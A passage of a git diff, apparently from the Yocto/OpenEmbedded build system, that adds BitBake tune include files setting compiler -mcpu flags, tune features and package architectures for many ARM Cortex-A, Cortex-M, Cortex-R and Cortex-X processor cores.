+ARMPKGARCH:tune-cortexa9thf-neon = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9hf = "${TUNE_FEATURES:tune-cortexa9} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9thf = "${TUNE_FEATURES:tune-cortexa9t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9hf-neon = "${TUNE_FEATURES:tune-cortexa9-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa9thf-neon = "${TUNE_FEATURES:tune-cortexa9t-neon} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} cortexa9hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} cortexa9hf-vfp cortexa9t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} cortexa9hf-vfp cortexa9hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} cortexa9hf-vfp cortexa9hf-neon cortexa9t2hf-vfp cortexa9t2hf-neon"
+
+# VFPv3 Tunes
+AVAILTUNES += "cortexa9-vfpv3 cortexa9t-vfpv3 cortexa9hf-vfpv3 cortexa9thf-vfpv3"
+ARMPKGARCH:tune-cortexa9-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9t-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9hf-vfpv3 = "cortexa9"
+ARMPKGARCH:tune-cortexa9thf-vfpv3 = "cortexa9"
+# mcpu is used so don't use armv7a as we don't want march
+TUNE_FEATURES:tune-cortexa9-vfpv3 = "${TUNE_FEATURES:tune-cortexa9} vfpv3"
+TUNE_FEATURES:tune-cortexa9t-vfpv3 = "${TUNE_FEATURES:tune-cortexa9t} vfpv3"
+TUNE_FEATURES:tune-cortexa9hf-vfpv3 = "${TUNE_FEATURES:tune-cortexa9hf} vfpv3"
+TUNE_FEATURES:tune-cortexa9thf-vfpv3 = "${TUNE_FEATURES:tune-cortexa9thf} vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3} cortexa9-vfp cortexa9-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9t-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3} cortexa9-vfp cortexa9-vfpv3 cortexa9t2-vfp cortexa9t2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9hf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-cortexa9thf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3 cortexa9t2hf-vfp cortexa9t2hf-vfpv3"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc
new file mode 100644
index 0000000000..a6cb566387
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm3.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M3
+#
+DEFAULTTUNE ?= "cortexm3"
+
+TUNEVALID[cortexm3] = "Enable Cortex-M3 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm3', ' -mcpu=cortex-m3', '', d)}"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "cortexm3"
+ARMPKGARCH:tune-cortexm3 = "cortexm3"
+TUNE_FEATURES:tune-cortexm3 = "${TUNE_FEATURES:tune-armv7m} cortexm3"
+PACKAGE_EXTRA_ARCHS:tune-cortexm3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7m} cortexm3"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc
new file mode 100644
index 0000000000..e86622ff3d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm4.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M4
+#
+DEFAULTTUNE ?= "cortexm4"
+
+TUNEVALID[cortexm4] = "Enable Cortex-M4 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm4', ' -mcpu=cortex-m4', '', d)}"
+
+require conf/machine/include/arm/arch-armv7em.inc
+
+AVAILTUNES += "cortexm4"
+ARMPKGARCH:tune-cortexm4 = "cortexm4"
+TUNE_FEATURES:tune-cortexm4 = "${TUNE_FEATURES:tune-armv7em} cortexm4"
+PACKAGE_EXTRA_ARCHS:tune-cortexm4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7em} cortexm4"
diff --git a/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc b/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc
new file mode 100644
index 0000000000..6434ec6398
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7m/tune-cortexm7.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M7
+#
+DEFAULTTUNE ?= "cortexm7"
+
+TUNEVALID[cortexm7] = "Enable Cortex-M7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm7', ' -mcpu=cortex-m7', '', d)}"
+
+require conf/machine/include/arm/arch-armv7em.inc
+
+AVAILTUNES += "cortexm7"
+ARMPKGARCH:tune-cortexm7 = "cortexm7"
+TUNE_FEATURES:tune-cortexm7 = "${TUNE_FEATURES:tune-armv7em} cortexm7"
+PACKAGE_EXTRA_ARCHS:tune-cortexm7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7em} cortexm7"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc
new file mode 100644
index 0000000000..0eed729630
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R4
+#
+DEFAULTTUNE ?= "cortexr4"
+
+TUNEVALID[cortexr4] = "Enable Cortex-R4 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr4', ' -mcpu=cortex-r4', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr4"
+ARMPKGARCH:tune-cortexr4 = "cortexr4"
+TUNE_FEATURES:tune-cortexr4 = "${TUNE_FEATURES:tune-armv7r} cortexr4"
+PACKAGE_EXTRA_ARCHS:tune-cortexr4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r} cortexr4"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc
new file mode 100644
index 0000000000..0712b3ab1b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R4F
+#
+DEFAULTTUNE ?= "cortexr4f"
+
+TUNEVALID[cortexr4f] = "Enable Cortex-R4F specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr4f', ' -mcpu=cortex-r4f', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr4f"
+ARMPKGARCH:tune-cortexr4f = "cortexr4f"
+TUNE_FEATURES:tune-cortexr4f = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr4f"
+PACKAGE_EXTRA_ARCHS:tune-cortexr4f = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr4f-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc
new file mode 100644
index 0000000000..4c8985292b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc
@@ -0,0 +1,19 @@
+#
+# Tune Settings for Cortex-R5
+#
+DEFAULTTUNE ?= "cortexr5"
+
+TUNEVALID[cortexr5] = "Enable Cortex-R5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr5', ' -mcpu=cortex-r5', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr5"
+ARMPKGARCH:tune-cortexr5 = "cortexr5"
+TUNE_FEATURES:tune-cortexr5 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr5 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr5 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr5-vfpv3d16"
+
+AVAILTUNES += "cortexr5hf"
+ARMPKGARCH:tune-cortexr5hf = "cortexr5"
+TUNE_FEATURES:tune-cortexr5hf = "${TUNE_FEATURES:tune-cortexr5} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexr5hf = "cortexr5hf-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc
new file mode 100644
index 0000000000..bfae1f0075
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R7
+#
+DEFAULTTUNE ?= "cortexr7"
+
+TUNEVALID[cortexr7] = "Enable Cortex-R7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr7', ' -mcpu=cortex-r7', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr7"
+ARMPKGARCH:tune-cortexr7 = "cortexr7"
+TUNE_FEATURES:tune-cortexr7 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr7 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr7-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc
new file mode 100644
index 0000000000..7fb824f6e9
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R8
+#
+DEFAULTTUNE ?= "cortexr8"
+
+TUNEVALID[cortexr8] = "Enable Cortex-R8 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr8', ' -mcpu=cortex-r8', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr8"
+ARMPKGARCH:tune-cortexr8 = "cortexr8"
+TUNE_FEATURES:tune-cortexr8 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr8 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr8 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr8-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc b/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc
new file mode 100644
index 0000000000..0a115be8a4
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for Cortex-M55
+#
+DEFAULTTUNE ?= "cortexm55"
+
+TUNEVALID[cortexm55] = "Enable Cortex-M55 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm55', ' -mcpu=cortex-m55', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-1m-main.inc
+
+AVAILTUNES += "cortexm55"
+ARMPKGARCH:tune-cortexm55 = "cortexm55"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexm55 = "cortexm55"
+PACKAGE_EXTRA_ARCHS:tune-cortexm55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-1m-main} cortexm55"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc
new file mode 100644
index 0000000000..5e63b45ae0
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "cortexa55"
+
+TUNEVALID[cortexa55] = "Enable Cortex-A55 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa55', ' -mcpu=cortex-a55', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa55"
+ARMPKGARCH:tune-cortexa55 = "cortexa55"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa55 = "aarch64 crypto cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa55"
+BASE_LIB:tune-cortexa55 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc
new file mode 100644
index 0000000000..ba96d0452e
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-A65
+#
+DEFAULTTUNE ?= "cortexa65"
+
+TUNEVALID[cortexa65] = "Enable Cortex-A65 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa65', ' -mcpu=cortex-a65', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa65"
+ARMPKGARCH:tune-cortexa65 = "cortexa65"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa65 = "aarch64 crypto cortexa65"
+PACKAGE_EXTRA_ARCHS:tune-cortexa65 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa65"
+BASE_LIB:tune-cortexa65 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc
new file mode 100644
index 0000000000..cc92147441
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-A65AE
+#
+DEFAULTTUNE ?= "cortexa65ae"
+
+TUNEVALID[cortexa65ae] = "Enable Cortex-A65AE specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa65ae', ' -mcpu=cortex-a65ae', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa65ae"
+ARMPKGARCH:tune-cortexa65ae = "cortexa65ae"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa65ae = "aarch64 crypto cortexa65ae"
+PACKAGE_EXTRA_ARCHS:tune-cortexa65ae = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa65ae"
+BASE_LIB:tune-cortexa65ae = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc
new file mode 100644
index 0000000000..e18b2cb6e0
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc
@@ -0,0 +1,21 @@
+#
+# Tune Settings for big.LITTLE Cortex-A75 - Cortex-A55
+#
+DEFAULTTUNE ?= "cortexa75-cortexa55"
+
+TUNEVALID[cortexa75-cortexa55] = "Enable big.LITTLE Cortex-A75.Cortex-A55 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa75-cortexa55", "cortexa75-cortexa55:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa75-cortexa55", " -mcpu=cortex-a75.cortex-a55", "", d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+AVAILTUNES += "cortexa75-cortexa55 cortexa75-cortexa55-crypto"
+ARMPKGARCH:tune-cortexa75-cortexa55 = "cortexa75-cortexa55"
+ARMPKGARCH:tune-cortexa75-cortexa55-crypto = "cortexa75-cortexa55-crypto"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa75-cortexa55 = "aarch64 cortexa75-cortexa55"
+TUNE_FEATURES:tune-cortexa75-cortexa55-crypto = "${TUNE_FEATURES:tune-cortexa75-cortexa55} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} cortexa75-cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75-cortexa55-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa75-cortexa55 cortexa75-cortexa55-crypto"
+BASE_LIB:tune-cortexa75-cortexa55 = "lib64"
+BASE_LIB:tune-cortexa75-cortexa55-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc
new file mode 100644
index 0000000000..453be2e6fd
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-A75
+#
+DEFAULTTUNE ?= "cortexa75"
+
+TUNEVALID[cortexa75] = "Enable Cortex-A75 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa75', ' -mcpu=cortex-a75', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa75"
+ARMPKGARCH:tune-cortexa75 = "cortexa75"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa75 = "aarch64 crypto cortexa75"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa75"
+BASE_LIB:tune-cortexa75 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc
new file mode 100644
index 0000000000..7daf9d91a8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc
@@ -0,0 +1,21 @@
+#
+# Tune Settings for big.LITTLE Cortex-A76 - Cortex-A55
+#
+DEFAULTTUNE ?= "cortexa76-cortexa55"
+
+TUNEVALID[cortexa76-cortexa55] = "Enable big.LITTLE Cortex-A76.Cortex-A55 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa76-cortexa55", "cortexa76-cortexa55:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa76-cortexa55", " -mcpu=cortex-a76.cortex-a55", "", d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+AVAILTUNES += "cortexa76-cortexa55 cortexa76-cortexa55-crypto"
+ARMPKGARCH:tune-cortexa76-cortexa55 = "cortexa76-cortexa55"
+ARMPKGARCH:tune-cortexa76-cortexa55-crypto = "cortexa76-cortexa55-crypto"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa76-cortexa55 = "aarch64 cortexa76-cortexa55"
+TUNE_FEATURES:tune-cortexa76-cortexa55-crypto = "${TUNE_FEATURES:tune-cortexa76-cortexa55} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} cortexa76-cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76-cortexa55-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76-cortexa55 cortexa76-cortexa55-crypto"
+BASE_LIB:tune-cortexa76-cortexa55 = "lib64"
+BASE_LIB:tune-cortexa76-cortexa55-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc
new file mode 100644
index 0000000000..14ed81214d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-A76
+#
+DEFAULTTUNE ?= "cortexa76"
+
+TUNEVALID[cortexa76] = "Enable Cortex-A76 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa76', ' -mcpu=cortex-a76', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa76"
+ARMPKGARCH:tune-cortexa76 = "cortexa76"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa76 = "aarch64 crypto cortexa76"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76"
+BASE_LIB:tune-cortexa76 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc
new file mode 100644
index 0000000000..191863bac8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-A76AE
+#
+DEFAULTTUNE ?= "cortexa76ae"
+
+TUNEVALID[cortexa76ae] = "Enable Cortex-A76AE specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa76ae', ' -mcpu=cortex-a76ae', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa76ae"
+ARMPKGARCH:tune-cortexa76ae = "cortexa76ae"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa76ae = "aarch64 crypto cortexa76ae"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76ae = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76ae"
+BASE_LIB:tune-cortexa76ae = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc
new file mode 100644
index 0000000000..1522fd6abd
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-A77
+#
+DEFAULTTUNE ?= "cortexa77"
+
+TUNEVALID[cortexa77] = "Enable Cortex-A77 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa77', ' -mcpu=cortex-a77', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa77"
+ARMPKGARCH:tune-cortexa77 = "cortexa77"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa77 = "aarch64 crypto cortexa77"
+PACKAGE_EXTRA_ARCHS:tune-cortexa77 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa77"
+BASE_LIB:tune-cortexa77 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78.inc
new file mode 100644
index 0000000000..198b94c679
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-A78
+#
+DEFAULTTUNE ?= "cortexa78"
+
+TUNEVALID[cortexa78] = "Enable Cortex-A78 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa78', ' -mcpu=cortex-a78', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa78"
+ARMPKGARCH:tune-cortexa78 = "cortexa78"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa78 = "aarch64 crypto cortexa78"
+PACKAGE_EXTRA_ARCHS:tune-cortexa78 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa78"
+BASE_LIB:tune-cortexa78 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78ae.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78ae.inc
new file mode 100644
index 0000000000..fe68bda9a0
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78ae.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-a78ae
+#
+DEFAULTTUNE ?= "cortexa78ae"
+
+TUNEVALID[cortexa78ae] = "Enable cortex-a78ae specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa78ae', ' -mcpu=cortex-a78ae', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+AVAILTUNES += "cortexa78ae"
+ARMPKGARCH:tune-cortexa78ae = "cortexa78ae"
+TUNE_FEATURES:tune-cortexa78ae = "aarch64 crypto cortexa78ae"
+PACKAGE_EXTRA_ARCHS:tune-cortexa78ae = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa78ae"
+BASE_LIB:tune-cortexa78ae = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78c.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78c.inc
new file mode 100644
index 0000000000..cb1fe91dfc
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa78c.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-a78c
+#
+DEFAULTTUNE ?= "cortexa78c"
+
+TUNEVALID[cortexa78c] = "Enable cortex-a78c specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa78c', ' -mcpu=cortex-a78c', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+AVAILTUNES += "cortexa78c"
+ARMPKGARCH:tune-cortexa78c = "cortexa78c"
+TUNE_FEATURES:tune-cortexa78c = "aarch64 crypto cortexa78c"
+PACKAGE_EXTRA_ARCHS:tune-cortexa78c = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa78c"
+BASE_LIB:tune-cortexa78c = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexx1.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexx1.inc
new file mode 100644
index 0000000000..0a99156e62
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexx1.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-x1
+#
+DEFAULTTUNE ?= "cortexx1"
+
+TUNEVALID[cortexx1] = "Enable cortex-x1 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexx1', ' -mcpu=cortex-x1', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+AVAILTUNES += "cortexx1"
+ARMPKGARCH:tune-cortexx1 = "cortexx1"
+TUNE_FEATURES:tune-cortexx1 = "aarch64 crypto cortexx1"
+PACKAGE_EXTRA_ARCHS:tune-cortexx1 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexx1"
+BASE_LIB:tune-cortexx1 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexx1c.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexx1c.inc
new file mode 100644
index 0000000000..2a16d1695d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexx1c.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-x1c
+#
+DEFAULTTUNE ?= "cortexx1c"
+
+TUNEVALID[cortexx1c] = "Enable cortex-x1c specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexx1c', ' -mcpu=cortex-x1c', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+AVAILTUNES += "cortexx1c"
+ARMPKGARCH:tune-cortexx1c = "cortexx1c"
+TUNE_FEATURES:tune-cortexx1c = "aarch64 crypto cortexx1c"
+PACKAGE_EXTRA_ARCHS:tune-cortexx1c = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexx1c"
+BASE_LIB:tune-cortexx1c = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc b/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc
new file mode 100644
